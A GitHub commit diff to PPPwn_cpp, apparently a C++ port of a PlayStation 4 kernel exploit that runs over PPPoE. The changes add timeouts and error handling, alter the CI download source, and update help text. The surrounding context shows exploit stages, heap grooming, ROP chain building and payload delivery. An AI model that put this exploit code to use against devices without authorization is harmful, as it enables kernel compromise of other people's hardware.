Skip to content

Commit 709525a

Browse files
authored
Merge branch 'xfangfang:main' into main
2 parents eb7f7f6 + cbc09a3 commit 709525a

File tree

6 files changed

+42
-30
lines changed

6 files changed

+42
-30
lines changed

.github/workflows/ci.yaml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -47,9 +47,9 @@ jobs:
4747
- { target: arm-linux-musleabi, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma",
4848
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-mcpu=arm1176jzf_s'", name: "(pi_zero_w)" }
4949
- { target: mipsel-linux-musl, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma",
50-
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float'" }
50+
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float;-ffunction-sections'" }
5151
- { target: mips-linux-musl, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma",
52-
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float'" }
52+
cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float;-ffunction-sections'" }
5353
steps:
5454
- uses: actions/checkout@v4
5555

@@ -66,7 +66,7 @@ jobs:
6666
- name: Download NPCAP SDK
6767
if: contains(matrix.target, 'windows')
6868
run: |
69-
wget https://npcap.com/dist/npcap-sdk-1.13.zip -O /tmp/sdk.zip
69+
wget https://github.com/xfangfang/PPPwn_cpp/releases/download/1.0.0/npcap-sdk-1.13.zip -O /tmp/sdk.zip
7070
unzip /tmp/sdk.zip -d /tmp/sdk
7171
mkdir -p /tmp/sdk/lib/x64
7272
mkdir -p /tmp/sdk86/lib
@@ -116,7 +116,7 @@ jobs:
116116
pacman -S --needed --noconfirm --noprogressbar \
117117
${MINGW_PACKAGE_PREFIX}-gcc \
118118
${MINGW_PACKAGE_PREFIX}-ninja unzip upx
119-
wget https://npcap.com/dist/npcap-sdk-1.13.zip -O npcap-sdk.zip
119+
wget https://github.com/xfangfang/PPPwn_cpp/releases/download/1.0.0/npcap-sdk-1.13.zip -O npcap-sdk.zip
120120
unzip npcap-sdk.zip -d sdk
121121
122122
- name: Build

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ Supplement:
5858

5959
1. For `--timeout`, waiting for `PADI` is not included, which allows you to start `pppwn_cpp` before the ps4 is launched.
6060
2. For `--no-wait-padi`, by default, `pppwn_cpp` will wait for two `PADI` request, according to [TheOfficialFloW/PPPwn/pull/48](https://github.com/TheOfficialFloW/PPPwn/pull/48) this helps to improve stability. You can turn off this feature with this parameter if you don't need it.
61-
3. For `--wait-after-pin`, according to [SiSTR0/PPPwn/pull/1](https://github.com/SiSTR0/PPPwn/pull/1) set this parameter to `20` helps to improve stability (not work for me).
61+
3. For `--wait-after-pin`, according to [SiSTR0/PPPwn/pull/1](https://github.com/SiSTR0/PPPwn/pull/1) set this parameter to `20` helps to improve stability (not work for me), this option not used in web interface.
6262
4. For `--groom-delay`, This is an empirical value. The Python version of pppwn does not set any wait at Heap grooming, but if the C++ version does not add some wait, there is a probability of kernel panic on my ps4. You can set any value within 1-4097 (4097 is equivalent to not doing any wait).
6363
5. For `--buffer-size`, When running on low-end devices, this value can be set to reduce memory usage. I tested that setting it to 10240 can run normally, and the memory usage is about 3MB. (Note: A value that is too small may cause some packets to not be captured properly)
6464

include/exploit.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,7 @@ class Exploit {
100100
int ipcp_negotiation() const;
101101

102102
int ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)> &cb = nullptr,
103-
bool ignore_initial_req = false);
103+
bool ignore_initial_req = false, bool always_wait_padi = false);
104104

105105
void ppp_byebye();
106106

src/exploit.cpp

Lines changed: 34 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -330,23 +330,27 @@ int Exploit::ipcp_negotiation() const {
330330
return RETURN_SUCCESS;
331331
}
332332

333-
int Exploit::ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)> &cb, bool ignore_initial_req) {
333+
int Exploit::ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)> &cb, bool ignore_initial_req,
334+
bool always_wait_padi) {
334335
int padi_count = ignore_initial_req ? 2 : 1;
335336

336337
Cookie pkt;
337338
while (padi_count--) {
338339
std::cout << "[*] Waiting for PADI..." << std::endl;
339-
dev->startCaptureBlockingMode(
340+
if (dev->startCaptureBlockingMode(
340341
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
341342
pcpp::Packet parsedPacket(packet, pcpp::PPPoEDiscovery);
342343
auto *layer = PacketBuilder::getPPPoEDiscoveryLayer(parsedPacket,
343344
pcpp::PPPoELayer::PPPOE_CODE_PADI);
344345
if (!layer) return false;
345346
((Cookie *) cookie)->packet = parsedPacket;
346347
return true;
347-
}, &pkt, 0);
348+
}, &pkt, always_wait_padi ? 0 : this->timeout) != 1) {
349+
return RETURN_FAIL;
350+
} else if (!running) {
351+
return RETURN_STOP;
352+
}
348353
}
349-
CHECK_RUNNING();
350354

351355
auto *pppoeDiscoveryLayer = pkt.packet.getLayerOfType<pcpp::PPPoEDiscoveryLayer>();
352356
if (!pppoeDiscoveryLayer) {
@@ -695,7 +699,7 @@ std::vector<uint8_t> Exploit::build_second_rop(Exploit *self) {
695699
}
696700

697701
int Exploit::stage0() {
698-
CHECK_RET(this->ppp_negotiation(Exploit::build_fake_ifnet, this->wait_padi));
702+
CHECK_RET(this->ppp_negotiation(Exploit::build_fake_ifnet, this->wait_padi, true));
699703
CHECK_RET(this->lcp_negotiation());
700704
CHECK_RET(this->ipcp_negotiation());
701705

@@ -771,19 +775,24 @@ int Exploit::stage1() {
771775
* and the PS4 unilaterally ends the PPPoE session.
772776
* To avoid this situation, respond to the PPPoE ECHO_REQ here
773777
*/
774-
dev->startCapture([](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) {
775-
pcpp::Packet parsedPacket(packet, pcpp::PPPoESession);
776-
auto *pppLayer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
777-
if (!pppLayer) return;
778-
if (pppLayer->getLayerPayload()[0] != ECHO_REQ) return;
779-
auto *etherLayer = parsedPacket.getLayerOfType<pcpp::EthLayer>();
780-
if (!etherLayer) return;
781-
auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(),
782-
pppLayer->getPPPoEHeader()->sessionId,
783-
pppLayer->getLayerPayload()[1], // id
784-
htole32(*(uint32_t * ) & pppLayer->getLayerPayload()[4])); // magic number
785-
device->sendPacket(&echoReply);
786-
}, nullptr);
778+
try {
779+
dev->startCapture([](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) {
780+
pcpp::Packet parsedPacket(packet, pcpp::PPPoESession);
781+
auto *pppLayer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
782+
if (!pppLayer) return;
783+
if (pppLayer->getLayerPayload()[0] != ECHO_REQ) return;
784+
auto *etherLayer = parsedPacket.getLayerOfType<pcpp::EthLayer>();
785+
if (!etherLayer) return;
786+
auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(),
787+
pppLayer->getPPPoEHeader()->sessionId,
788+
pppLayer->getLayerPayload()[1], // id
789+
htole32(*(uint32_t * ) &
790+
pppLayer->getLayerPayload()[4])); // magic number
791+
device->sendPacket(&echoReply);
792+
}, nullptr);
793+
} catch (const std::system_error &e) {
794+
std::cout << "Cannot create new thread" << e.what() << std::endl;
795+
}
787796

788797
/**
789798
* Send invalid packet to trigger a printf in the kernel. For some
@@ -805,7 +814,7 @@ int Exploit::stage1() {
805814
TIME_END_PERIOD();
806815
}
807816

808-
dev->stopCapture();
817+
if (dev->captureActive()) dev->stopCapture();
809818
std::cout << "\r[+] Pinning to CPU 0...done" << std::endl;
810819

811820
// LCP fails sometimes without the wait
@@ -1026,10 +1035,10 @@ int Exploit::stage4() {
10261035

10271036
// Calculate checksum
10281037
std::vector<uint8_t> temp(udpLayer.getHeaderLen());
1029-
(*(uint16_t *) &(temp)[0]) = udpHeader->portSrc;
1030-
(*(uint16_t *) &(temp)[2]) = udpHeader->portDst;
1031-
(*(uint16_t *) &(temp)[4]) = udpHeader->length;
1032-
(*(uint16_t *) &(temp)[6]) = 0;
1038+
(*(uint16_t * ) & (temp)[0]) = udpHeader->portSrc;
1039+
(*(uint16_t * ) & (temp)[2]) = udpHeader->portDst;
1040+
(*(uint16_t * ) & (temp)[4]) = udpHeader->length;
1041+
(*(uint16_t * ) & (temp)[6]) = 0;
10331042
temp.insert(temp.end(), this->stage2_bin.begin(), this->stage2_bin.end());
10341043
uint16_t checksumRes = pcpp::computePseudoHdrChecksum(temp.data(),
10351044
temp.size(),
@@ -1108,6 +1117,7 @@ struct Tunnel<M, N> {
11081117
friend T &stopThread(U &u) {
11091118
return u.*M;
11101119
}
1120+
11111121
friend Q &pcapHandle(V &u) {
11121122
return u.*N;
11131123
}
@@ -1117,6 +1127,7 @@ template
11171127
struct Tunnel<&pcpp::PcapLiveDevice::m_StopThread, &pcpp::IPcapDevice::m_PcapDescriptor>;
11181128

11191129
std::atomic<bool> &stopThread(pcpp::PcapLiveDevice &);
1130+
11201131
pcap_t *&pcapHandle(pcpp::IPcapDevice &);
11211132

11221133
void Exploit::stop() {

src/main.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -145,7 +145,7 @@ int main(int argc, char *argv[]) {
145145
"Use CPU for more precise sleep time (Only used when execution speed is too slow)" %
146146
option("-rs", "--real-sleep").set(real_sleep), \
147147
"start a web page" % option("--web").set(web_page), \
148-
"url" % option("--url") & value("url", web_url)
148+
"custom web page url (default: 0.0.0.0:7796)" % option("--url") & value("url", web_url)
149149
) | \
150150
"list interfaces" % command("list").call(listInterfaces)
151151
);

src/web.cpp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,7 @@ void WebPage::startExploit() {
104104
exploit->stop();
105105
if (exploitThread.joinable())
106106
exploitThread.join();
107+
exploit->setWaitAfterPin(1);
107108
exploitThread = std::thread([this]() {
108109
return exploit->run();
109110
});

0 commit comments

Comments
 (0)